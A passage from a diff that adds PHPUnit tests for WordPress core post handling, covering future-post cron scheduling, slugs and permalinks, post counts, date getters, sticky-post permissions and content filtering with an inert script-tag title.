+				'post_status' => 'publish',
+				'post_content' => rand_str(),
+				'post_title' => rand_str(),
+				'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+			);
+
+			// insert a post and make sure the ID is ok
+			$id = $this->post_ids[] = wp_insert_post($post);
+
+			// fetch the post and make sure has the correct date and status
+			$out = get_post($id);
+			$this->assertEquals('future', $out->post_status);
+			$this->assertEquals($post['post_date'], $out->post_date);
+
+			// check that there's a publish_future_post job scheduled at the right time
+			$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+			// now save it again with status changed
+
+			$post['ID'] = $id;
+			$post['post_status'] = $status;
+			wp_update_post($post);
+
+			// fetch the post again and make sure it has the new post_date
+			$out = get_post($id);
+			$this->assertEquals($status, $out->post_status);
+			$this->assertEquals($post['post_date'], $out->post_date);
+
+			// and the correct date on the cron job
+			$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+		}
+	}
+
+	function test_vb_insert_future_private() {
+		// insert a draft post with a future date, and make sure no cron schedule is set
+
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'private',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+		#dmp(_get_cron_array());
+		$this->assertTrue(is_numeric($id));
+		$this->assertTrue($id > 0);
+
+		// fetch the post and make sure it matches
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals('private', $out->post_status);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// there should be a publish_future_post hook scheduled on the future date
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	/**
+	 * @ticket 17180
+	 */
+	function test_vb_insert_invalid_date() {
+		// insert a post with an invalid date, make sure it fails
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => '2012-02-30 00:00:00',
+		);
+
+		// Test both return paths with or without WP_Error
+		$insert_post = wp_insert_post( $post, true );
+		$this->assertWPError( $insert_post );
+		$this->assertEquals( 'invalid_date', $insert_post->get_error_code() );
+
+		$insert_post = wp_insert_post( $post );
+		$this->assertEquals( 0, $insert_post );
+	}
+
+	function test_vb_insert_future_change_to_private() {
+		// insert a future post, then edit and change it to private, and make sure cron gets it right
+		$future_date_1 = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with status set to draft
+
+		$post['ID'] = $id;
+		$post['post_status'] = 'private';
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('private', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_wp_insert_post_should_not_allow_a_bare_numeric_slug_that_might_conflict_with_a_date_archive_when_generating_from_an_empty_post_title() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		$p = wp_insert_post( array(
+			'post_title' => '',
+			'post_content' => 'test',
+			'post_status' => 'publish',
+			'post_type' => 'post',
+		) );
+
+		$post = get_post( $p );
+
+		$this->set_permalink_structure();
+
+		$this->assertEquals( "$p-2", $post->post_name );
+	}
+
+	/**
+	 * @ticket 5305
+	 * @ticket 33392
+	 */
+	public function test_wp_insert_post_should_invalidate_post_cache_before_generating_guid_when_post_name_is_empty_and_is_generated_from_the_post_ID(){
+		register_post_type( 'wptests_pt' );
+
+		$p = wp_insert_post( array(
+			'post_title' => '',
+			'post_type' => 'wptests_pt',
+			'post_status' => 'publish',
+		) );
+
+		$post = get_post( $p );
+
+		$this->assertContains( 'wptests_pt=' . $p, $post->guid );
+	}
+
+	/**
+	 * @ticket 20451
+	 */
+	public function test_wp_insert_post_with_meta_input() {
+		$post_id = wp_insert_post( array(
+			'post_title'   => '',
+			'post_content' => 'test',
+			'post_status'  => 'publish',
+			'post_type'    => 'post',
+			'meta_input'   => array(
+				'hello' => 'world',
+				'foo'   => 'bar'
+			)
+		) );
+
+		$this->assertEquals( 'world', get_post_meta( $post_id, 'hello', true ) );
+		$this->assertEquals( 'bar', get_post_meta( $post_id, 'foo', true ) );
+	}
+
+	/**
+	 * @ticket 5364
+	 */
+	function test_delete_future_post_cron() {
+		// "When I delete a future post using wp_delete_post($post->ID) it does not update the cron correctly."
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now delete the post and make sure the cron entry is removed
+		wp_delete_post( $id );
+
+		$this->assertFalse($this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	function test_permalink_without_title() {
+		// bug: permalink doesn't work if post title is empty
+		// might only fail if the post ID is greater than four characters
+
+		$this->set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => '',
+			'post_date' => '2007-10-31 06:15:00',
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		$plink = get_permalink($id);
+
+		// permalink should include the post ID at the end
+		$this->assertEquals(get_option('siteurl').'/2007/10/31/'.$id.'/', $plink);
+	}
+
+	/**
+	 * @ticket 15665
+	 */
+	function test_get_page_by_path_priority() {
+		global $wpdb;
+
+		$attachment = self::factory()->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'attachment' ) );
+		$page       = self::factory()->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'page' ) );
+		$other_att  = self::factory()->post->create_and_get( array( 'post_title' => 'some-other-page', 'post_type' => 'attachment' ) );
+
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'some-page' ), array( 'ID' => $page->ID ) );
+		clean_post_cache( $page->ID );
+
+		$page = get_post( $page->ID );
+
+		$this->assertEquals( 'some-page', $attachment->post_name );
+		$this->assertEquals( 'some-page', $page->post_name );
+
+		// get_page_by_path() should return a post of the requested type before returning an attachment.
+		$this->assertEquals( $page, get_page_by_path( 'some-page' ) );
+
+		// Make sure get_page_by_path() will still select an attachment when a post of the requested type doesn't exist.
+		$this->assertEquals( $other_att, get_page_by_path( 'some-other-page' ) );
+	}
+
+	function test_wp_publish_post() {
+		$draft_id = self::factory()->post->create( array( 'post_status' => 'draft' ) );
+
+		$post = get_post( $draft_id );
+		$this->assertEquals( 'draft', $post->post_status );
+
+		wp_publish_post( $draft_id );
+		$post = get_post( $draft_id );
+
+		$this->assertEquals( 'publish', $post->post_status );
+	}
+
+	/**
+	 * @ticket 22944
+	 */
+	function test_wp_insert_post_and_wp_publish_post_with_future_date() {
+		$future_date = gmdate( 'Y-m-d H:i:s', time() + 10000000 );
+		$post_id = self::factory()->post->create( array(
+			'post_status' => 'publish',
+			'post_date' => $future_date,
+		) );
+
+		$post = get_post( $post_id );
+		$this->assertEquals( 'future', $post->post_status );
+		$this->assertEquals( $future_date, $post->post_date );
+
+		wp_publish_post( $post_id );
+		$post = get_post( $post_id );
+
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( $future_date, $post->post_date );
+	}
+
+	/**
+	 * @ticket 22944
+	 */
+	function test_publish_post_with_content_filtering() {
+		kses_remove_filters();
+
+		$post_id = wp_insert_post( array( 'post_title' => '<script>Test</script>' ) );
+		$post = get_post( $post_id );
+		$this->assertEquals( '<script>Test</script>', $post->post_title );
+		$this->assertEquals( 'draft', $post->post_status );
+
+		kses_init_filters();
+
+		wp_update_post( array( 'ID' => $post->ID, 'post_status' => 'publish' ) );
+		$post = get_post( $post->ID );
+		$this->assertEquals( 'Test', $post->post_title );
+
+		kses_remove_filters();
+	}
+
+	/**
+	 * @ticket 22944
+	 */
+	function test_wp_publish_post_and_avoid_content_filtering() {
+		kses_remove_filters();
+
+		$post_id = wp_insert_post( array( 'post_title' => '<script>Test</script>' ) );
+		$post = get_post( $post_id );
+		$this->assertEquals( '<script>Test</script>', $post->post_title );
+		$this->assertEquals( 'draft', $post->post_status );
+
+		kses_init_filters();
+
+		wp_publish_post( $post->ID );
+		$post = get_post( $post->ID );
+		$this->assertEquals( '<script>Test</script>', $post->post_title );
+
+		kses_remove_filters();
+	}
+
+	/**
+	 * @ticket 23708
+	 */
+	function test_get_post_ancestors_within_loop() {
+		global $post;
+		$parent_id = self::factory()->post->create();
+		$post = self::factory()->post->create_and_get( array( 'post_parent' => $parent_id ) );
+		$this->assertEquals( array( $parent_id ), get_post_ancestors( 0 ) );
+	}
+
+	/**
+	 * @ticket 23474
+	 */
+	function test_update_invalid_post_id() {
+		$post_id = self::factory()->post->create( array( 'post_name' => 'get-page-uri-post-name' ) );
+		$post = get_post( $post_id, ARRAY_A );
+
+		$post['ID'] = 123456789;
+
+		$this->assertEquals( 0, wp_insert_post( $post ) );
+		$this->assertEquals( 0, wp_update_post( $post ) );
+
+		$this->assertInstanceOf( 'WP_Error', wp_insert_post( $post, true ) );
+		$this->assertInstanceOf( 'WP_Error', wp_update_post( $post, true ) );
+
+	}
+
+	function test_parse_post_content_single_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = self::factory()->post->create( array( 'post_content' => 'Page 0' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 0, $multipage );
+		$this->assertCount(  1, $pages );
+		$this->assertEquals( 1, $numpages );
+		$this->assertEquals( array( 'Page 0' ), $pages );
+	}
+
+	function test_parse_post_content_multi_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = self::factory()->post->create( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 1, $multipage );
+		$this->assertCount(  4, $pages );
+		$this->assertEquals( 4, $numpages );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+	}
+
+	function test_parse_post_content_remaining_single_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = self::factory()->post->create( array( 'post_content' => 'Page 0' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 0, $multipage );
+		$this->assertCount(  1, $pages );
+		$this->assertEquals( 1, $numpages );
+		$this->assertEquals( array( 'Page 0' ), $pages );
+	}
+
+	function test_parse_post_content_remaining_multi_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = self::factory()->post->create( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 1, $multipage );
+		$this->assertCount(  4, $pages );
+		$this->assertEquals( 4, $numpages );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+	}
+
+	/**
+	 * @ticket 16746
+	 */
+	function test_parse_post_content_starting_with_nextpage() {
+		global $multipage, $pages, $numpages;
+		$post_id = self::factory()->post->create( array( 'post_content' => '<!--nextpage-->Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 1, $multipage );
+		$this->assertCount(  4, $pages );
+		$this->assertEquals( 4, $numpages );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+	}
+
+	/**
+	 * @ticket 16746
+	 */
+	function test_parse_post_content_starting_with_nextpage_multi() {
+		global $multipage, $pages, $numpages;
+		$post_id = self::factory()->post->create( array( 'post_content' => '<!--nextpage-->Page 0' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 0, $multipage );
+		$this->assertCount(  1, $pages );
+		$this->assertEquals( 1, $numpages );
+		$this->assertEquals( array( 'Page 0' ), $pages );
+	}
+
+	/**
+	 * @ticket 19373
+	 */
+	function test_insert_programmatic_sanitized() {
+		$this->_unset_current_user();
+
+		register_taxonomy( 'test_tax', 'post' );
+
+		$title = rand_str();
+		$post_data = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => $title,
+			'tax_input' => array(
+				'test_tax' => array( 'term', 'term2', 'term3' )
+			)
+		);
+		$insert_post_id = wp_insert_post( $post_data, true, true );
+		$this->assertTrue( ( is_int($insert_post_id) && $insert_post_id > 0 ) );
+
+		$post = get_post( $insert_post_id );
+		$this->assertEquals( $post->post_author, self::$editor_id );
+		$this->assertEquals( $post->post_title, $title );
+	}
+
+	/**
+	 * @ticket 24803
+	 */
+	function test_wp_count_posts() {
+		$post_type = rand_str(20);
+		register_post_type( $post_type );
+		self::factory()->post->create( array(
+			'post_type' => $post_type,
+			'post_author' => self::$editor_id
+		) );
+		$count = wp_count_posts( $post_type, 'readable' );
+		$this->assertEquals( 1, $count->publish );
+		_unregister_post_type( $post_type );
+		$this->assertEquals( new stdClass, wp_count_posts( $post_type, 'readable' ) );
+	}
+
+	function test_wp_count_posts_filtered() {
+		$post_type = rand_str(20);
+		register_post_type( $post_type );
+		self::factory()->post->create_many( 3, array(
+			'post_type' => $post_type,
+			'post_author' => self::$editor_id
+		) );
+		$count1 = wp_count_posts( $post_type, 'readable' );
+		$this->assertEquals( 3, $count1->publish );
+		add_filter( 'wp_count_posts', array( $this, 'filter_wp_count_posts' ) );
+
+		$count2 = wp_count_posts( $post_type, 'readable' );
+		$this->assertEquals( 2, $count2->publish );
+
+		remove_filter( 'wp_count_posts', array( $this, 'filter_wp_count_posts' ) );
+	}
+
+	function filter_wp_count_posts( $counts ) {
+		$counts->publish = 2;
+		return $counts;
+	}
+
+	function test_wp_count_posts_insert_invalidation() {
+		$post_ids = self::factory()->post->create_many( 3 );
+		$initial_counts = wp_count_posts();
+
+		$key = array_rand( $post_ids );
+		$_post = get_post( $post_ids[$key], ARRAY_A );
+		$_post['post_status'] = 'draft';
+		wp_insert_post( $_post );
+		$post = get_post( $post_ids[$key] );
+		$this->assertEquals( 'draft', $post->post_status );
+		$this->assertNotEquals( 'publish', $post->post_status );
+
+		$after_draft_counts = wp_count_posts();
+		$this->assertEquals( 1, $after_draft_counts->draft );
+		$this->assertEquals( 2, $after_draft_counts->publish );
+		$this->assertNotEquals( $initial_counts->publish, $after_draft_counts->publish );
+	}
+
+	function test_wp_count_posts_trash_invalidation() {
+		$post_ids = self::factory()->post->create_many( 3 );
+		$initial_counts = wp_count_posts();
+
+		$key = array_rand( $post_ids );
+
+		wp_trash_post( $post_ids[$key] );
+
+		$post = get_post( $post_ids[$key] );
+		$this->assertEquals( 'trash', $post->post_status );
+		$this->assertNotEquals( 'publish', $post->post_status );
+
+		$after_trash_counts = wp_count_posts();
+		$this->assertEquals( 1, $after_trash_counts->trash );
+		$this->assertEquals( 2, $after_trash_counts->publish );
+		$this->assertNotEquals( $initial_counts->publish, $after_trash_counts->publish );
+	}
+
+	/**
+	 * @ticket 13771
+	 */
+	function test_get_the_date_with_id_returns_correct_time() {
+		$post_id = self::factory()->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( 'March 1, 2014', get_the_date( 'F j, Y', $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_the_date_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_the_date() );
+		$this->assertFalse( get_the_date( 'F j, Y h:i:s' ) );
+		$this->assertFalse( get_the_date( '', 9 ) );
+		$this->assertFalse( get_the_date( 'F j, Y h:i:s', 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_the_time_with_id_returns_correct_time() {
+		$post_id = self::factory()->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( '16:35:00', get_the_time( 'H:i:s', $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_the_time_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_the_time() );
+		$this->assertFalse( get_the_time( 'h:i:s' ) );
+		$this->assertFalse( get_the_time( '', 9 ) );
+		$this->assertFalse( get_the_time( 'h:i:s', 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_time_with_id_returns_correct_time() {
+		$post_id = self::factory()->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( '16:35:00', get_post_time( 'H:i:s', false, $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_time_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_post_time() );
+		$this->assertFalse( get_post_time( 'h:i:s' ) );
+		$this->assertFalse( get_post_time( '', false, 9 ) );
+		$this->assertFalse( get_post_time( 'h:i:s', false, 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_modified_time_with_id_returns_correct_time() {
+		$post_id = self::factory()->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( '16:35:00', get_post_modified_time( 'H:i:s', false, $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_modified_time_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_post_modified_time() );
+		$this->assertFalse( get_post_modified_time( 'h:i:s' ) );
+		$this->assertFalse( get_post_modified_time( '', false, 9 ) );
+		$this->assertFalse( get_post_modified_time( 'h:i:s', false, 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_mysql2date_returns_false_with_no_date() {
+		$this->assertFalse( mysql2date( 'F j, Y H:i:s', '' ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_mysql2date_returns_gmt_or_unix_timestamp() {
+		$this->assertEquals( '441013392', mysql2date( 'G', '1983-12-23 07:43:12' ) );
+		$this->assertEquals( '441013392', mysql2date( 'U', '1983-12-23 07:43:12' ) );
+	}
+
+	/**
+	 * @ticket 25566
+	 */
+	function test_wp_tag_cloud_link_with_post_type() {
+		$post_type = 'new_post_type';
+		$tax = 'new_tag';
+		register_post_type( $post_type, array( 'taxonomies' => array( 'post_tag', $tax ) ) );
+		register_taxonomy( $tax, $post_type );
+
+		$post = self::factory()->post->create( array( 'post_type' => $post_type ) );
+		wp_set_object_terms( $post, rand_str(), $tax );
+
+		$wp_tag_cloud = wp_tag_cloud( array(
+			'post_type' => $post_type,
+			'taxonomy' => $tax,
+			'echo' => false,
+			'link' => 'edit'
+		) );
+
+		preg_match_all( '|href="([^"]+)"|', $wp_tag_cloud, $matches );
+		$this->assertSame( 1, count( $matches[1] ) );
+
+		$terms = get_terms( $tax );
+		$term = reset( $terms );
+
+		foreach ( $matches[1] as $url ) {
+			$this->assertContains( 'tag_ID=' . $term->term_id, $url );
+			$this->assertContains( 'post_type=new_post_type', $url );
+		}
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_utf8mb3_post_saves_with_emoji() {
+		global $wpdb;
+		$_wpdb = new wpdb_exposed_methods_for_testing();
+
+		if ( 'utf8' !== $_wpdb->get_col_charset( $wpdb->posts, 'post_title' ) ) {
+			$this->markTestSkipped( 'This test is only useful with the utf8 character set' );
+		}
+
+		require_once( ABSPATH . '/wp-admin/includes/post.php' );
+
+		$post_id = self::factory()->post->create();
+
+		$data = array(
+			'post_ID'      => $post_id,
+			'post_title'   => "foo\xf0\x9f\x98\x88bar",
+			'post_content' => "foo\xf0\x9f\x98\x8ebaz",
+			'post_excerpt' => "foo\xf0\x9f\x98\x90bat"
+		);
+
+		$expected = array(
+			'post_title'   => "foo&#x1f608;bar",
+			'post_content' => "foo&#x1f60e;baz",
+			'post_excerpt' => "foo&#x1f610;bat"
+		);
+
+		edit_post( $data );
+
+		$post = get_post( $post_id );
+
+		foreach( $expected as $field => $value ) {
+			$this->assertEquals( $value, $post->$field );
+		}
+	}
+
+	/**
+	 * @ticket 31168
+	 */
+	function test_wp_insert_post_default_comment_ping_status_open() {
+		$post_id = self::factory()->post->create( array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+		) );
+		$post = get_post( $post_id );
+
+		$this->assertEquals( 'open', $post->comment_status );
+		$this->assertEquals( 'open', $post->ping_status );
+	}
+
+	/**
+	 * @ticket 31168
+	 */
+	function test_wp_insert_post_page_default_comment_ping_status_closed() {
+		$post_id = self::factory()->post->create( array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => 'page',
+		) );
+		$post = get_post( $post_id );
+
+		$this->assertEquals( 'closed', $post->comment_status );
+		$this->assertEquals( 'closed', $post->ping_status );
+	}
+
+	/**
+	 * @ticket 31168
+	 */
+	function test_wp_insert_post_cpt_default_comment_ping_status_open() {
+		$post_type = rand_str(20);
+		register_post_type( $post_type, array( 'supports' => array( 'comments', 'trackbacks' ) ) );
+		$post_id = self::factory()->post->create( array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => $post_type,
+		) );
+		$post = get_post( $post_id );
+
+		$this->assertEquals( 'open', $post->comment_status );
+		$this->assertEquals( 'open', $post->ping_status );
+		_unregister_post_type( $post_type );
+	}
+
+	/**
+	 * @ticket 31168
+	 */
+	function test_wp_insert_post_cpt_default_comment_ping_status_closed() {
+		$post_type = rand_str(20);
+		register_post_type( $post_type );
+		$post_id = self::factory()->post->create( array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => $post_type,
+		) );
+		$post = get_post( $post_id );
+
+		$this->assertEquals( 'closed', $post->comment_status );
+		$this->assertEquals( 'closed', $post->ping_status );
+		_unregister_post_type( $post_type );
+	}
+
+	/**
+	 * If a post is sticky and is updated by a user that does not have the publish_post capability, it should _stay_
+	 * sticky.
+	 *
+	 * @ticket 24153
+	 */
+	function test_user_without_publish_cannot_affect_sticky() {
+		wp_set_current_user( self::$grammarian_id );
+
+		// Sanity Check.
+		$this->assertFalse( current_user_can( 'publish_posts' ) );
+		$this->assertTrue( current_user_can( 'edit_others_posts' ) );
+		$this->assertTrue( current_user_can( 'edit_published_posts' ) );
+
+		// Create a sticky post.
+		$post = self::factory()->post->create_and_get( array(
+			'post_title'   => 'Will be changed',
+			'post_content' => 'Will be changed',
+		) );
+		stick_post( $post->ID );
+
+		// Sanity Check.
+		$this->assertTrue( is_sticky( $post->ID ) );
+
+		// Edit the post.
+		$post->post_title = 'Updated';
+		$post->post_content = 'Updated';
+		wp_update_post( $post );
+
+		// Make sure it's still sticky.
+		$saved_post = get_post( $post->ID );
+		$this->assertTrue( is_sticky( $saved_post->ID ) );
+		$this->assertEquals( 'Updated', $saved_post->post_title );
+		$this->assertEquals( 'Updated', $saved_post->post_content );
+	}
+
+	/**
+	 * If the `edit_post()` method is invoked by a user without publish_posts permission, the sticky status of the post
+	 * should not be changed.
+	 *
+	 * @ticket 24153
+	 */
+	function test_user_without_publish_cannot_affect_sticky_with_edit_post() {
+		// Create a sticky post.
+		$post = self::factory()->post->create_and_get( array(
+			'post_title'   => 'Will be changed',
+			'post_content' => 'Will be changed',
+		) );
+		stick_post( $post->ID );
+
+		// Sanity Check.
+		$this->assertTrue( is_sticky( $post->ID ) );
+
+		wp_set_current_user( self::$grammarian_id );
+
+		// Sanity Check.
+		$this->assertFalse( current_user_can( 'publish_posts' ) );
+		$this->assertTrue( current_user_can( 'edit_others_posts' ) );
+		$this->assertTrue( current_user_can( 'edit_published_posts' ) );
+
+		// Edit the post - The key 'sticky' is intentionally unset.
+		$data = array(
+			'post_ID'      => $post->ID,
+			'post_title'   => 'Updated',
+			'post_content' => 'Updated',
+		);
+		edit_post( $data );
+
+		// Make sure it's still sticky
+		$saved_post = get_post( $post->ID );
+		$this->assertTrue( is_sticky( $saved_post->ID ) );
+		$this->assertEquals( 'Updated', $saved_post->post_title );
+		$this->assertEquals( 'Updated', $saved_post->post_content );
+	}
+
+	/**
+	 * Test that hooks are fired when post gets stuck and unstuck.
+	 *
+	 * @ticket 35600
+	 */
+	function test_hooks_fire_when_post_gets_stuck_and_unstuck() {
+		$post_id = self::factory()->post->create();
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+
+		$this->assertFalse( is_sticky( $post_id ) );
+
+		add_action( 'post_stuck', array( $a1, 'action' ) );
+		add_action( 'post_unstuck', array( $a2, 'action' ) );
+
+		stick_post( $post_id );
+		$this->assertTrue( is_sticky( $post_id ) );
+		unstick_post( $post_id );
+		$this->assertFalse( is_sticky( $post_id ) );
+
+		remove_action( 'post_stuck', array( $a1, 'action' ) );
+		remove_action( 'post_unstuck', array( $a2, 'action' ) );
+
+		$this->assertEquals( 1, $a1->get_call_count() );
+		$this->assertEquals( 1, $a2->get_call_count() );
+	}
+
+	/**
+	 * If a post is updated without providing a post_name param,
+	 * a new slug should not be generated.
+	 *
+	 * @ticket 34865
+	 */
+	function test_post_updates_without_slug_provided() {
+		$post_id = self::factory()->post->create( array(
+			'post_title'   => 'Stuff',
+			'post_status'  => 'publish'
+		) );
+
+		$data = array(
+			'ID'         => $post_id,
+			'post_title' => 'Stuff and Things'
+		);
+
+		wp_insert_post( $data );
+
+		$updated_post = get_post( $post_id );
+		// Ensure changing the post_title didn't modify the post_name.
+		$this->assertEquals('stuff', $updated_post->post_name);
+	}
+
+	/**
+	 * @ticket 32585
+	 */
+	public function test_wp_insert_post_author_zero() {
+		$post_id = self::factory()->post->create( array( 'post_author' => 0 ) );
+
+		$this->assertEquals( 0, get_post( $post_id )->post_author );
+	}
+
+	/**
+	 * @ticket 32585
+	 */
+	public function test_wp_insert_post_author_null() {
+		$post_id = self::factory()->post->create( array( 'post_author' => null ) );
+
+		$this->assertEquals( self::$editor_id, get_post( $post_id )->post_author );
+	}
+
+	/**
+	 * @ticket 15946
+	 */
+	function test_wp_insert_post_should_respect_post_date_gmt() {
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date_gmt' => '2014-01-01 12:00:00',
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = wp_insert_post($post);
+
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals(get_date_from_gmt($post['post_date_gmt']), $out->post_date);
+		$this->assertEquals($post['post_date_gmt'], $out->post_date_gmt);
+	}
+
+	function test_wp_delete_post_reassign_hierarchical_post_type() {
+		$grandparent_page_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$parent_page_id = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $grandparent_page_id ) );
+		$page_id = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $parent_page_id ) );
+		$this->assertEquals( $parent_page_id, get_post( $page_id )->post_parent );
+		wp_delete_post( $parent_page_id, true );
+		$this->assertEquals( $grandparent_page_id, get_post( $page_id )->post_parent );
+		wp_delete_post( $grandparent_page_id, true );
+		$this->assertEquals( 0, get_post( $page_id )->post_parent );
+	}
+
+	/**
+	 * Test ensuring that the post_name (UUID) is preserved when wp_insert_post()/wp_update_post() is called.
+	 *
+	 * @see _wp_customize_changeset_filter_insert_post_data()
+	 * @ticket 30937
+	 */
+	function test_wp_insert_post_for_customize_changeset_should_not_drop_post_name() {
+
+		$this->assertEquals( 10, has_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data' ) );
+
+		$changeset_data = array(
+			'blogname' => array(
+				'value' => 'Hello World',
+			),
+		);
+
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'contributor' ) ) );
+
+		$uuid = wp_generate_uuid4();
+		$post_id = wp_insert_post( array(
+			'post_type' => 'customize_changeset',
+			'post_name' => strtoupper( $uuid ),
+			'post_content' => wp_json_encode( $changeset_data ),
+		) );
+		$this->assertEquals( $uuid, get_post( $post_id )->post_name, 'Expected lower-case UUID4 to be inserted.' );
+		$this->assertEquals( $changeset_data, json_decode( get_post( $post_id )->post_content, true ) );
+
+		$changeset_data['blogname']['value'] = 'Hola Mundo';
+		wp_update_post( array(
+			'ID' => $post_id,
+			'post_status' => 'draft',
+			'post_content' => wp_json_encode( $changeset_data ),
